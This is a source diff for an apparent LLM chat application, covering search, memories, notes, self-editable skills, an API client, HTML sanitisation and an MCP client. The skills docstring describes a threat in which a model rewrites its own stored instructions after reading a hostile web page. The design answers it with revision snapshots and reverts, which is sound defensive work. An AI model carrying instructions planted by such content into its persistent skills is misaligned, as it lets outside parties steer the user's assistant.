Every term is required first, then any of them. AND alone is right for a
search box, where more words should narrow the result -- but the caller here
is usually a *model*, which writes "who built the west gate of Moria and
what is its password" rather than "moria gate". One word absent from the
document then loses the match entirely. Falling back to OR keeps precision
where it works and recall where it does not, and bm25 sorts the difference
out: documents matching more terms rank higher anyway.
"""
if not fts_query(needle):
return []
def run(query: str) -> list[SearchHit]:
try:
rows = db.execute(
text(
f"SELECT id, bm25({index}) AS rank FROM {index} " # noqa: S608 - see above
f"WHERE {index} MATCH :q ORDER BY rank LIMIT :limit"
),
{"q": query, "limit": max(1, min(limit, 100))},
).fetchall()
except Exception: # noqa: BLE001 - a broken index must not break the page
log.exception("full-text search failed on %s", index)
# Rolled back because a failed statement leaves the session
# unusable: without this, one broken search turns into every later
# query in the same request failing too, which looks nothing like a
# search problem.
db.rollback()
return []
# bm25 returns a negative number, better matches being more negative.
return [SearchHit(id=row[0], rank=float(row[1])) for row in rows]
return run(fts_query(needle)) or run(fts_query(needle, operator="OR"))
+141
View File
@@ -0,0 +1,141 @@
"""Memory: short facts, in front of the model on every turn.
The whole design follows from being injected rather than searched.
* Each record is **capped short**, because every one of them costs tokens on
every request forever. A tool that writes an essay gets it trimmed and is
told so, rather than the write failing -- the model can then decide to put
the long version in a note.
* There is a **budget** for the block as a whole. Past it the oldest are left
out rather than the request growing without limit; the user can see the whole
list in their settings and prune it.
* There is **no search tool**. Searching something the model is already looking
at is a round trip for nothing.
* They are **not shareable**. A record about a person is not content to hand
round, and nobody asked to share their memories with a group.
"""
from __future__ import annotations
import logging
from sqlalchemy import func, select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Memory, User
log = logging.getLogger(__name__)
# One fact, not a paragraph. Long enough for "prefers metric units and a 24-hour
# clock", short enough that fifty of them are still affordable.
MAX_MEMORY_CHARS = 400
# Ceiling on the injected block. Reached, the oldest records drop out of the
# prompt -- they are still listed in settings, so nothing disappears silently.
MAX_TOTAL_CHARS = 4000
# A hard stop on how many can exist, so an enthusiastic model cannot fill a
# database with variations on one fact.
MAX_RECORDS = 200
def all_for(db: DBSession, user: User | None) -> list[Memory]:
if user is None:
return []
return list(
db.scalars(
select(Memory).where(Memory.owner_id == user.id).order_by(Memory.created_at)
)
)
def get(db: DBSession, memory_id: str, user: User | None) -> Memory | None:
memory = db.get(Memory, memory_id)
if memory is None or user is None or memory.owner_id != user.id:
return None
return memory
def add(db: DBSession, *, owner: User, content: str, author: str = AUTHOR_MODEL) -> Memory:
"""Record a fact. Raises ValueError when there is no room or nothing to say.
An exact repeat returns the record that already exists rather than making a
second one. The prompt asks the model to check before adding -- it is shown
every memory, so it can -- but the same preference saved four times in
slightly different words is the commonest failure here, and it is worse than
wasted tokens: it makes `memory_forget` ambiguous for every one of them.
Wording handles the near-duplicates; this handles the exact ones, which is
the half a prompt cannot be relied on for.
"""
content = " ".join((content or "").split())
if not content:
raise ValueError("A memory cannot be empty.")
content = content[:MAX_MEMORY_CHARS]
existing = db.scalars(
select(Memory).where(Memory.owner_id == owner.id, Memory.content == content)
).first()
if existing is not None:
return existing
count = db.scalar(
select(func.count()).select_from(Memory).where(Memory.owner_id == owner.id)
)
if (count or 0) >= MAX_RECORDS:
# Deliberately does NOT say "remove one first". Past MAX_TOTAL_CHARS the
# injected block is truncated, so the model is not shown every memory
# and would be choosing blind -- and deleting the wrong one is not
# something anybody finds out about.
raise ValueError(
f"There are already {MAX_RECORDS} memories, which is the limit, so "
f"nothing was saved. Do not remove one to make room — you are not "
f"shown all of them and would be guessing. Say that the limit has "
f"been reached, and put this in a note instead."
)
memory = Memory(
owner_id=owner.id,
content=content,
author=author if author in (AUTHOR_USER, AUTHOR_MODEL) else AUTHOR_MODEL,
)
db.add(memory)
db.commit()
return memory
def update(db: DBSession, memory: Memory, content: str) -> Memory:
content = " ".join((content or "").split())
if not content:
raise ValueError("A memory cannot be empty.")
memory.content = content[:MAX_MEMORY_CHARS]
db.commit()
return memory
def delete(db: DBSession, memory: Memory) -> None:
db.delete(memory)
db.commit()
def block(db: DBSession, user: User | None) -> str:
"""The memories as they appear in the prompt, within the budget.
Oldest first, and truncation drops the *newest* -- a fact that has survived
a long time is more likely to be a standing preference than something said
once this morning.
"""
records = all_for(db, user)
if not records:
return ""
lines: list[str] = []
total = 0
for memory in records:
line = f"- {memory.content}"
if total + len(line) > MAX_TOTAL_CHARS:
lines.append(f"- (…{len(records) - len(lines)} more, see your settings)")
break
lines.append(line)
total += len(line)
return "\n".join(lines)
+92
View File
@@ -0,0 +1,92 @@
"""Notes: what the model wrote down, and what a person wrote for it.
Longer and more specific than a memory, and not injected. A dozen notes would
fill a context window on their own, so the model searches for the one it needs
-- which is also why a note has a title worth reading: it is what a search
result shows.
"""
from __future__ import annotations
import logging
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Note, User
from lembas.services import sharing
from lembas.services.library.fts import search_ids
log = logging.getLogger(__name__)
INDEX = "notes_fts"
MAX_TITLE_CHARS = 300
MAX_BODY_CHARS = 40_000
SNIPPET_CHARS = 800
def visible(db: DBSession, user: User | None):
return select(Note).where(sharing.visible_to(Note, user))
def get(db: DBSession, note_id: str, user: User | None) -> Note | None:
note = db.get(Note, note_id)
if note is None or not sharing.can_read(db, note, user):
return None
return note
def recent(db: DBSession, user: User | None, *, limit: int = 20) -> list[Note]:
return list(
db.scalars(visible(db, user).order_by(Note.updated_at.desc()).limit(limit))
)
def search(db: DBSession, user: User | None, needle: str, *, limit: int = 10) -> list[Note]:
"""Notes matching `needle` that this user may see, best match first."""
hits = search_ids(db, INDEX, needle, limit=limit * 4)
if not hits:
return []
order = {hit.id: position for position, hit in enumerate(hits)}
rows = list(db.scalars(visible(db, user).where(Note.id.in_(list(order)))))
rows.sort(key=lambda note: order.get(note.id, len(order)))
return rows[:limit]
def create(
db: DBSession, *, owner: User, title: str, body: str, author: str = AUTHOR_USER
) -> Note:
note = Note(
owner_id=owner.id,
title=(title.strip() or "Untitled")[:MAX_TITLE_CHARS],
body=body.strip()[:MAX_BODY_CHARS],
author=author if author in (AUTHOR_USER, AUTHOR_MODEL) else AUTHOR_USER,
)
db.add(note)
db.commit()
return note
def update(db: DBSession, note: Note, *, title: str | None = None, body: str | None = None) -> Note:
"""Change a note. Absent arguments are left alone, which is what lets a tool
edit only the body without having to send the title back."""
if title is not None and title.strip():
note.title = title.strip()[:MAX_TITLE_CHARS]
if body is not None:
note.body = body.strip()[:MAX_BODY_CHARS]
db.commit()
return note
def delete(db: DBSession, note: Note) -> None:
sharing.forget_resource(db, note)
db.delete(note)
db.commit()
def snippet(note: Note) -> str:
text = (note.body or "").strip()
if len(text) <= SNIPPET_CHARS:
return text
return text[:SNIPPET_CHARS].rstrip() + ""
+224
View File
@@ -0,0 +1,224 @@
"""Skills: named instructions the model can choose to follow.
Two fields carry the design.
`description` is what gets injected -- one line per skill, for every skill --
and is therefore the only thing the model has to go on when deciding whether a
skill is relevant. A description that does not say *when* to use the skill makes
it invisible in practice.
`body` is fetched only when the model decides to use it. That split is what
makes a hundred skills affordable: the index costs a line each, the instructions
cost nothing until wanted.
**A model may rewrite its own skills**, which is the point -- it is how it
learns a procedure once instead of being told every time. The safety story is
not a gate but a record: every write snapshots what was there first, so a change
can be read and undone. A skill written after reading a hostile web page is a
real risk, and the honest mitigation is that it is visible, attributed and
revertible rather than that it was somehow prevented.
"""
from __future__ import annotations
import logging
import re
from collections.abc import Iterable
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Skill, SkillRevision, User
from lembas.services import sharing
from lembas.services.library.fts import search_ids
log = logging.getLogger(__name__)
INDEX = "skills_fts"
# A name the model can quote back without getting it wrong.
SKILL_NAME_PATTERN = re.compile(r"^[a-z0-9][a-z0-9-]{1,60}$")
MAX_DESCRIPTION_CHARS = 400
MAX_BODY_CHARS = 20_000
# The index goes into every request, so it has a ceiling like memory does.
MAX_INDEX_SKILLS = 60
class SkillError(Exception):
"""A rejected skill write, with a message fit for the model or the user."""
def slugify(name: str) -> str:
cleaned = re.sub(r"[^a-z0-9]+", "-", (name or "").strip().lower()).strip("-")
return cleaned[:60]
def visible(db: DBSession, user: User | None):
return select(Skill).where(sharing.visible_to(Skill, user))
def get(db: DBSession, skill_id: str, user: User | None) -> Skill | None:
skill = db.get(Skill, skill_id)
if skill is None or not sharing.can_read(db, skill, user):
return None
return skill
def by_name(db: DBSession, name: str, user: User | None) -> Skill | None:
"""Look one up the way the model refers to it."""
if user is None:
return None
return db.scalar(visible(db, user).where(Skill.name == slugify(name)))
def enabled_for(
db: DBSession, user: User | None, *, exclude: Iterable[str] = ()
) -> list[Skill]:
"""Skills that should appear in the index, oldest first for a stable order.
`exclude` is what one chat has switched off by name -- a narrowing of what
the library already allows, never a widening of it.
"""
if user is None:
return []
hidden = {slugify(name) for name in exclude}
rows = db.scalars(
visible(db, user)
.where(Skill.enabled.is_(True))
.order_by(Skill.name)
.limit(MAX_INDEX_SKILLS + len(hidden))
)
return [skill for skill in rows if skill.name not in hidden][:MAX_INDEX_SKILLS]
def count_enabled(db: DBSession, user: User | None, *, exclude: Iterable[str] = ()) -> int:
"""How many skills are available here at all.
Zero is what withdraws `skill_get` and `skill_edit`: reading and improving
are meaningless with nothing to read, and a model told to "read one with
skill_get" above a list that is not there spends a round finding out.
"""
return len(enabled_for(db, user, exclude=exclude))
def search(db: DBSession, user: User | None, needle: str, *, limit: int = 10) -> list[Skill]:
hits = search_ids(db, INDEX, needle, limit=limit * 4)
if not hits:
return []
order = {hit.id: position for position, hit in enumerate(hits)}
rows = list(db.scalars(visible(db, user).where(Skill.id.in_(list(order)))))
rows.sort(key=lambda skill: order.get(skill.id, len(order)))
return rows[:limit]
def snapshot(db: DBSession, skill: Skill, *, author: str, note: str = "") -> SkillRevision:
"""Record what a skill looked like before it is changed."""
revision = SkillRevision(
skill_id=skill.id,
description=skill.description,
body=skill.body,
author=author,
note=note[:200],
)
db.add(revision)
return revision
def create(
db: DBSession,
*,
owner: User,
name: str,
description: str,
body: str,
author: str = AUTHOR_USER,
) -> Skill:
slug = slugify(name)
if not SKILL_NAME_PATTERN.match(slug):
raise SkillError(
"A skill name must be two or more letters, numbers or hyphens, "
"such as 'weekly-report'."
)
if by_name(db, slug, owner) is not None:
raise SkillError(f"A skill called {slug!r} already exists. Edit it instead.")
if not description.strip():
raise SkillError(
"A skill needs a description saying when to use it — it is the only "
"thing shown until the skill is opened."
)
skill = Skill(
owner_id=owner.id,
name=slug,
description=description.strip()[:MAX_DESCRIPTION_CHARS],
body=body.strip()[:MAX_BODY_CHARS],
author=author if author in (AUTHOR_USER, AUTHOR_MODEL) else AUTHOR_USER,
)
db.add(skill)
db.commit()
log.info("skill %r created by %s", slug, author)
return skill
def update(
db: DBSession,
skill: Skill,
*,
description: str | None = None,
body: str | None = None,
enabled: bool | None = None,
author: str = AUTHOR_USER,
note: str = "",
) -> Skill:
"""Change a skill, keeping what it was.
The snapshot happens before the change and in the same transaction, so
there is no window where a skill has been rewritten with no record of what
it used to say.
"""
changing = (description is not None and description.strip() != skill.description) or (
body is not None and body.strip() != skill.body
)
if changing:
snapshot(db, skill, author=author, note=note)
if description is not None and description.strip():
skill.description = description.strip()[:MAX_DESCRIPTION_CHARS]
if body is not None:
skill.body = body.strip()[:MAX_BODY_CHARS]
if enabled is not None:
skill.enabled = enabled
if changing:
skill.author = author if author in (AUTHOR_USER, AUTHOR_MODEL) else skill.author
db.commit()
return skill
def revert(db: DBSession, skill: Skill, revision: SkillRevision, *, author: str) -> Skill:
"""Put a skill back to an earlier revision.
The revert is itself a change, so the current state is snapshotted first --
going back is undoable too.
"""
snapshot(db, skill, author=author, note="before revert")
skill.description = revision.description
skill.body = revision.body
db.commit()
return skill
def delete(db: DBSession, skill: Skill) -> None:
sharing.forget_resource(db, skill)
db.delete(skill)
db.commit()
def index_block(db: DBSession, user: User | None, *, exclude: Iterable[str] = ()) -> str:
"""The one-line-per-skill listing that goes into the prompt."""
skills = enabled_for(db, user, exclude=exclude)
if not skills:
return ""
return "\n".join(f"- {skill.name}: {skill.description}" for skill in skills)
+416
View File
@@ -0,0 +1,416 @@
"""Client for OpenAI-compatible chat endpoints.
Deliberately plain httpx rather than the official SDK. The target is not just
api.openai.com but LM Studio, vLLM, llama.cpp, Ollama's compatibility layer,
OpenRouter and anything else exposing /v1 -- and they differ in small ways. A
thin client passes request parameters through untouched and is tolerant about
what comes back, which is exactly what talking to all of them requires.
"""
from __future__ import annotations
import json
import logging
from collections.abc import AsyncIterator
from dataclasses import dataclass
from typing import Any
import httpx
from lembas.config import settings
from lembas.db.models import Connection
from lembas.services.crypto import decrypt
log = logging.getLogger(__name__)
class LLMError(Exception):
"""An upstream failure with a message fit to show a user.
Every failure path in this module raises this rather than letting an httpx
or JSON exception escape, so callers have exactly one thing to catch and
the chat UI always has something intelligible to display.
"""
def __init__(self, message: str, *, status_code: int | None = None) -> None:
super().__init__(message)
self.message = message
self.status_code = status_code
@dataclass(frozen=True)
class Endpoint:
"""Everything needed to call a connection, with the key already decrypted.
A frozen snapshot rather than the ORM object because streaming outlives the
request that started it, and a detached SQLAlchemy instance is a trap.
"""
base_url: str
api_key: str
extra_headers: dict[str, str]
name: str = ""
@classmethod
def from_connection(cls, connection: Connection) -> Endpoint:
return cls(
base_url=connection.base_url.rstrip("/"),
api_key=decrypt(connection.api_key_encrypted),
extra_headers=dict(connection.extra_headers_json or {}),
name=connection.name,
)
def url(self, path: str) -> str:
# Accept both "http://host:1234" and "http://host:1234/v1" so users do
# not have to guess which form this expects.
base = self.base_url
if not base.endswith("/v1") and "/v1/" not in base:
base = f"{base}/v1"
return f"{base}/{path.lstrip('/')}"
def headers(self) -> dict[str, str]:
headers = {"Content-Type": "application/json", **self.extra_headers}
# Local endpoints frequently need no key at all; sending an empty
# bearer token makes some of them reject the request outright.
if self.api_key:
headers["Authorization"] = f"Bearer {self.api_key}"
return headers
def describe_http_error(exc: httpx.HTTPStatusError) -> str:
"""Turn an upstream error response into something worth reading.
Public because the audio and search clients talk to the same class of
server and want the same translation; LLMError stays the one thing a
caller has to catch.
Providers put the useful part in wildly different places, so try the common
shapes before falling back to the raw body.
"""
status = exc.response.status_code
detail = ""
try:
payload = exc.response.json()
if isinstance(payload, dict):
error = payload.get("error")
if isinstance(error, dict):
detail = error.get("message", "")
elif isinstance(error, str):
detail = error
detail = detail or payload.get("message", "") or payload.get("detail", "")
except (ValueError, json.JSONDecodeError):
detail = exc.response.text[:300]
friendly = {
401: "The API key was rejected.",
403: "The API key is not permitted to use this model.",
404: "The endpoint or model was not found.",
429: "Rate limited by the provider.",
}.get(status)
if friendly and detail:
return f"{friendly} {detail}"
return friendly or detail or f"The endpoint returned HTTP {status}."
def wrap_transport_error(exc: httpx.RequestError, endpoint: Endpoint) -> LLMError:
if isinstance(exc, httpx.ConnectError):
return LLMError(
f"Could not reach {endpoint.base_url}. Is the endpoint running and "
f"the URL correct?"
)
if isinstance(exc, httpx.TimeoutException):
return LLMError(
f"{endpoint.base_url} did not respond within "
f"{settings.request_timeout:.0f}s."
)
return LLMError(f"Could not reach {endpoint.base_url}: {exc}")
async def list_models(endpoint: Endpoint) -> list[dict[str, Any]]:
"""Fetch the models a connection advertises via GET /v1/models."""
try:
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.get(endpoint.url("models"), headers=endpoint.headers())
response.raise_for_status()
payload = response.json()
except httpx.HTTPStatusError as exc:
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
except httpx.RequestError as exc:
raise wrap_transport_error(exc, endpoint) from exc
except ValueError as exc:
raise LLMError("The endpoint returned a response that was not JSON.") from exc
# The spec says {"data": [...]}, but some servers return a bare list.
entries = payload.get("data", payload) if isinstance(payload, dict) else payload
if not isinstance(entries, list):
raise LLMError("The endpoint's model list was not in the expected format.")
models = []
for entry in entries:
if isinstance(entry, dict) and entry.get("id"):
models.append(entry)
elif isinstance(entry, str):
models.append({"id": entry})
return models
# Where the runners that bother to advertise a context length put it. There is
# no standard field, so this is a list of what the common ones actually emit.
_CONTEXT_KEYS = ("context_length", "max_model_len", "context_window", "max_context_length")
# Below the first, the number is not a context length; above the second it is a
# typo or a different unit. Either way, better to record nothing than a wrong
# figure a percentage would then be computed from.
MIN_CONTEXT = 256
MAX_CONTEXT = 10_000_000
def context_from(entry: dict[str, Any]) -> int:
"""A model's context length as advertised by /v1/models, or 0 if it is not.
Strings are accepted because some servers quote the number, but only when
they are digits alone -- "8192 tokens" is a label, not a measurement.
"""
candidates = [entry.get(key) for key in _CONTEXT_KEYS]
meta = entry.get("meta")
if isinstance(meta, dict):
candidates += [meta.get("n_ctx"), *(meta.get(key) for key in _CONTEXT_KEYS)]
for value in candidates:
if isinstance(value, bool):
continue
if isinstance(value, str):
value = value.strip()
if not value.isdigit():
continue
value = int(value)
if isinstance(value, int) and MIN_CONTEXT <= value <= MAX_CONTEXT:
return value
return 0
# Endpoints that rejected `stream_options`, so it is asked for once per base URL
# per process and then never again. Not persisted: it is a property of whatever
# is running there now, and a restart is the right time to find out afresh.
_NO_STREAM_OPTIONS: set[str] = set()
async def stream_chat(
endpoint: Endpoint,
payload: dict[str, Any],
) -> AsyncIterator[dict[str, Any]]:
"""Stream a chat completion, yielding each parsed SSE data object.
Yields the raw upstream chunks; interpreting them is the caller's job. The
terminating "[DONE]" sentinel is consumed here and not yielded.
`stream_options` asks for the final usage chunk, which is the only way to
learn what a streamed reply actually cost. Not every server implements it,
and an unknown key is a 400 from some of them -- the same hazard as sending
a `tools` array to an endpoint without support. So it is asked for once,
and an endpoint that refuses is remembered and never asked again. Retrying
is safe because the status is checked before a single line is read: nothing
has been yielded, so there is nothing to duplicate.
"""
wants_usage = endpoint.base_url not in _NO_STREAM_OPTIONS
try:
async for chunk in _stream_once(endpoint, payload, usage=wants_usage):
yield chunk
except LLMError as exc:
if not wants_usage or exc.status_code not in (400, 422):
raise
_NO_STREAM_OPTIONS.add(endpoint.base_url)
log.info(
"%s rejected stream_options; token counts will be estimated there",
endpoint.base_url,
)
async for chunk in _stream_once(endpoint, payload, usage=False):
yield chunk
async def _stream_once(
endpoint: Endpoint,
payload: dict[str, Any],
*,
usage: bool,
) -> AsyncIterator[dict[str, Any]]:
body = {**payload, "stream": True}
if usage:
body["stream_options"] = {"include_usage": True}
try:
async with (
httpx.AsyncClient(timeout=settings.request_timeout) as client,
client.stream(
"POST",
endpoint.url("chat/completions"),
headers=endpoint.headers(),
json=body,
) as response,
):
if response.status_code >= 400:
# The body has not been read yet on a streaming response, and
# the error detail is in it.
await response.aread()
response.raise_for_status()
async for line in response.aiter_lines():
line = line.strip()
if not line or line.startswith(":"):
continue # keep-alive comment
if not line.startswith("data:"):
continue
data = line[5:].strip()
if data == "[DONE]":
return
try:
yield json.loads(data)
except json.JSONDecodeError:
# A malformed frame is not worth killing a reply over.
log.warning("skipping unparseable SSE frame: %.120s", data)
continue
except httpx.HTTPStatusError as exc:
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
except httpx.RequestError as exc:
raise wrap_transport_error(exc, endpoint) from exc
async def complete(endpoint: Endpoint, payload: dict[str, Any]) -> str:
"""Non-streaming completion. Used for short internal calls like auto-titling."""
body = {**payload, "stream": False}
try:
async with httpx.AsyncClient(timeout=60.0) as client:
response = await client.post(
endpoint.url("chat/completions"), headers=endpoint.headers(), json=body
)
response.raise_for_status()
data = response.json()
except httpx.HTTPStatusError as exc:
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
except httpx.RequestError as exc:
raise wrap_transport_error(exc, endpoint) from exc
except ValueError as exc:
raise LLMError("The endpoint returned a response that was not JSON.") from exc
try:
return data["choices"][0]["message"]["content"] or ""
except (KeyError, IndexError, TypeError) as exc:
raise LLMError("The endpoint returned no completion.") from exc
def delta_reasoning(chunk: dict[str, Any]) -> str:
"""Pull a reasoning delta out of one streamed chunk.
Providers disagree on the field name -- llama.cpp, llama-swap and vLLM use
``reasoning_content``, some others just ``reasoning`` -- so both are read.
Models that emit ``<think>`` tags inline in ``content`` instead are handled
by lembas.services.reasoning.
"""
try:
choices = chunk.get("choices") or []
if not choices:
return ""
delta = choices[0].get("delta") or {}
for field in ("reasoning_content", "reasoning"):
value = delta.get(field)
if isinstance(value, str) and value:
return value
return ""
except (AttributeError, TypeError):
return ""
def delta_tool_calls(chunk: dict[str, Any]) -> list[dict[str, Any]]:
"""Pull tool-call fragments out of one streamed chunk.
Each entry carries an ``index`` and, across chunks, a name that arrives
once and an ``arguments`` string that arrives in pieces. Reassembling them
is lembas.services.tools.ToolCallAccumulator's job; this only extracts.
"""
try:
choices = chunk.get("choices") or []
if not choices:
return []
calls = (choices[0].get("delta") or {}).get("tool_calls")
return calls if isinstance(calls, list) else []
except (AttributeError, TypeError):
return []
def finish_reason(chunk: dict[str, Any]) -> str:
"""Why the model stopped, when the chunk says so.
``tool_calls`` here is the signal that the reply is not an answer but a
request to run something and come back. Some servers send ``stop`` even
when they emitted tool calls, so the accumulator's contents are the real
authority and this is only a hint.
"""
try:
choices = chunk.get("choices") or []
if not choices:
return ""
return choices[0].get("finish_reason") or ""
except (AttributeError, TypeError):
return ""
def chunk_usage(chunk: dict[str, Any]) -> dict[str, int] | None:
"""Token counts from a usage chunk, or None if this is not one.
A usage chunk carries `choices: []`, which is exactly the shape delta_text,
delta_reasoning, delta_tool_calls and finish_reason all return early on --
they have always tolerated it, so nothing else needs to change to let one
through.
Fields are read defensively because "the endpoint returned something odd"
must never be the reason a reply fails; a bad shape simply means no counts.
"""
try:
raw = chunk.get("usage")
except AttributeError:
return None
if not isinstance(raw, dict):
return None
counts: dict[str, int] = {}
for key in ("prompt_tokens", "completion_tokens", "total_tokens"):
value = raw.get(key)
if isinstance(value, bool) or not isinstance(value, (int, float)):
continue
if value >= 0:
counts[key] = int(value)
# Some servers send a usage object of zeros on every chunk and the real
# numbers only at the end. All-zero is indistinguishable from that, and
# treating it as an answer would freeze the count at nothing.
if not counts or not any(counts.values()):
return None
counts.setdefault(
"total_tokens", counts.get("prompt_tokens", 0) + counts.get("completion_tokens", 0)
)
return counts
def delta_text(chunk: dict[str, Any]) -> str:
"""Pull the text out of one streamed chunk, tolerating provider variation."""
try:
choices = chunk.get("choices") or []
if not choices:
return ""
delta = choices[0].get("delta") or {}
content = delta.get("content")
if isinstance(content, str):
return content
# Some providers send content as a list of typed parts even in deltas.
if isinstance(content, list):
return "".join(
part.get("text", "")
for part in content
if isinstance(part, dict) and part.get("type") == "text"
)
return ""
except (AttributeError, TypeError):
return ""
+203
View File
@@ -0,0 +1,203 @@
"""Render assistant messages from Markdown to sanitised HTML.
Rendering happens on the server, in Python, so there is no JavaScript Markdown
library to vendor and the streamed and final views cannot disagree about how
something should look.
The output is sanitised with nh3 (Rust ammonia). Model output is untrusted
input: it routinely contains HTML, and a model can be talked into emitting a
script tag, so this is a real boundary and not a formality.
"""
from __future__ import annotations
import functools
import html
import re
import nh3
from markdown_it import MarkdownIt
from pygments import highlight
from pygments.formatters import HtmlFormatter
from pygments.lexers import get_lexer_by_name, guess_lexer
from pygments.util import ClassNotFound
# Class-based highlighting; the colours come from theme tokens in chat.css, so
# code blocks follow the active theme instead of carrying their own palette.
_FORMATTER = HtmlFormatter(nowrap=True, classprefix="pg-")
ALLOWED_TAGS = {
"p", "br", "hr", "div", "span",
"strong", "em", "del", "sub", "sup", "mark",
"h1", "h2", "h3", "h4", "h5", "h6",
"ul", "ol", "li",
"blockquote", "pre", "code",
"table", "thead", "tbody", "tr", "th", "td",
"a", "img",
}
ALLOWED_ATTRIBUTES = {
# "rel" is intentionally absent: nh3 rejects it here when link_rel is set,
# because link_rel below is what writes it.
"a": {"href", "title", "target"},
"img": {"src", "alt", "title"},
"code": {"class"},
"pre": {"class"},
"span": {"class"},
"div": {"class"},
"td": {"align"},
"th": {"align"},
}
# javascript: and data: URLs are the obvious injection route through a link.
ALLOWED_URL_SCHEMES = {"http", "https", "mailto"}
def _render_fence(tokens, idx, _options, _env) -> str:
"""Render a fenced code block.
This replaces the renderer's `fence` rule outright rather than using
markdown-it's `highlight` option, because that option re-wraps whatever it
is given in <pre><code> unless the string already starts with "<pre" --
which would nest a second <pre> inside the wrapper this returns.
"""
token = tokens[idx]
code = token.content
language = (token.info or "").strip().split()[0] if token.info else ""
lexer = None
if language:
try:
lexer = get_lexer_by_name(language, stripall=False)
except (ClassNotFound, ValueError):
lexer = None
elif code.strip():
# Guessing is only worth it for a decent sample; on two lines of text
# Pygments guesses confidently and wrongly.
try:
lexer = guess_lexer(code) if len(code) > 80 else None
except (ClassNotFound, ValueError):
lexer = None
if lexer is None:
body = nh3.clean_text(code)
label = language
else:
body = highlight(code, lexer, _FORMATTER)
label = language or (lexer.aliases[0] if lexer.aliases else "")
label_html = (
f'<div class="code-block__label">{nh3.clean_text(label)}</div>' if label else ""
)
return (
f'<div class="code-block">{label_html}'
f'<pre class="code-block__pre"><code>{body}</code></pre></div>'
)
@functools.lru_cache(maxsize=1)
def _parser() -> MarkdownIt:
md = MarkdownIt("commonmark", {"linkify": True, "typographer": False})
md.enable(["table", "strikethrough", "linkify"])
md.renderer.rules["fence"] = _render_fence
return md
def render_markdown(text: str) -> str:
"""Markdown to safe HTML, ready to drop into a message bubble."""
if not text:
return ""
html = _parser().render(text)
return nh3.clean(
html,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
url_schemes=ALLOWED_URL_SCHEMES,
# Anything opened from a model's output is untrusted; noopener stops it
# reaching back through window.opener.
link_rel="nofollow noopener noreferrer",
)
# A mention is `@` followed by a run of non-space, claimed only at the start of
# the text or after whitespace. That last part is the whole rule: without it
# every email address in a message becomes a highlighted file reference, which
# is both wrong and ugly. It matches what composer.js recognises while typing,
# and the two must stay in step or the box and the transcript disagree.
_MENTION = re.compile(r"(?:(?<=\s)|^)@([^\s@]+)")
def highlight_tokens(text: str) -> str:
"""A user's own message, escaped, with `@mentions` marked.
User turns have no render step at all -- the template prints the column and
relies on `white-space: pre-wrap` -- so this is it, and it must escape
before it injects or it is an XSS hole in the one place a person controls
the bytes exactly.
Only mentions. A `/command` never survives to a message: commands are
intercepted in the composer and never posted, so anything beginning with a
slash in a transcript is text somebody meant as text, and marking it as a
command would be marking it as something it is not.
"""
if not text:
return ""
escaped = html.escape(text, quote=False)
# Applied to the *escaped* string, so the span is the only markup that can
# exist. `@` and the path characters are untouched by html.escape, and a
# `&amp;` it produced contains no whitespace -- which is why the pattern is
# anchored on whitespace rather than on a character class.
return _MENTION.sub(r'<span class="tok-mention">@\1</span>', escaped)
def escape_text(text: str) -> str:
"""Escape a plain-text run for insertion as HTML element content.
Used for user messages and for partial assistant text mid-stream, where the
content is not yet complete enough to parse as Markdown.
html.escape rather than nh3.clean_text: escaping the three structural
characters is all that is needed for a text node, and it escapes character
by character, so escaping a stream chunk-by-chunk gives the same result as
escaping the whole string at once. nh3.clean_text also escapes spaces and
slashes, which triples the size of a streamed token for no benefit.
"""
return html.escape(text, quote=False)
# Code blocks are dropped whole rather than read out. A speech model given a
# code fence pronounces every bracket and underscore, which is unlistenable and
# takes longer than the prose it was buried in.
#
# Matched on <pre> rather than on the .code-block wrapper: the wrapper also
# contains a label div, so a non-greedy match for its closing tag stops at the
# label's and leaves the code behind. <pre> cannot nest, so this is exact.
_CODE_BLOCK = re.compile(r"<pre\b[^>]*>.*?</pre>", re.DOTALL)
_CODE_LABEL = re.compile(r"<div class=\"code-block__label\">.*?</div>", re.DOTALL)
_TAG = re.compile(r"<[^>]+>")
_WHITESPACE = re.compile(r"[ \t]*\n\s*\n\s*")
# Speech endpoints reject or truncate very long inputs, and a reply long enough
# to hit this is not one anybody is listening to in full.
MAX_SPEAKABLE = 8000
def speakable_text(text: str) -> str:
"""Markdown reduced to something worth reading aloud.
Goes through the renderer rather than stripping the Markdown source
directly, so tables, lists and links come out as their text instead of as
punctuation, and there is one definition of what a message *says*.
"""
if not text:
return ""
rendered = _CODE_LABEL.sub(" ", _CODE_BLOCK.sub("\n", render_markdown(text)))
stripped = html.unescape(_TAG.sub(" ", rendered))
# Paragraph breaks survive as a single newline: speech models use them as a
# pause, and a wall of one line is read without any.
stripped = _WHITESPACE.sub("\n", stripped)
lines = [" ".join(line.split()) for line in stripped.splitlines()]
return "\n".join(line for line in lines if line)[:MAX_SPEAKABLE]
+26
View File
@@ -0,0 +1,26 @@
"""An MCP client: remote servers over streamable HTTP.
Three parts. `protocol` is the wire format and nothing else -- it knows no
database and no HTTP. `client` owns the transport, which is where the SSRF guard
lives and the reason none of this comes from the reference SDK. `registry` is
where a row becomes a tool the chat loop can be offered.
Local stdio servers are deliberately absent. Spawning a subprocess is the
agentic-execution feature, which wants a confirmation model before it does
anything; a URL is a different act with a different blast radius.
"""
from lembas.services.mcp.client import McpSpec, call_tool, list_tools, spec_from
from lembas.services.mcp.protocol import McpError
from lembas.services.mcp.registry import offer_name, refresh, tool_defs
__all__ = [
"McpError",
"McpSpec",
"call_tool",
"list_tools",
"offer_name",
"refresh",
"spec_from",
"tool_defs",
]
+273
View File
@@ -0,0 +1,273 @@
"""Talking to a remote MCP server over streamable HTTP.
One session per call, deliberately. A cached session would need an owner, a
lifetime, eviction, a lock -- a round runs its tools concurrently -- and a
shutdown hook, and the server may expire it underneath all of that anyway.
`ToolContext` is a session-free snapshot precisely so that nothing inside a tool
holds live state. The cost is one extra POST in front of a call that is already
a network round trip inside a reply taking seconds; the upgrade, if it is ever
worth it, is a dict in this module and invisible to everything else.
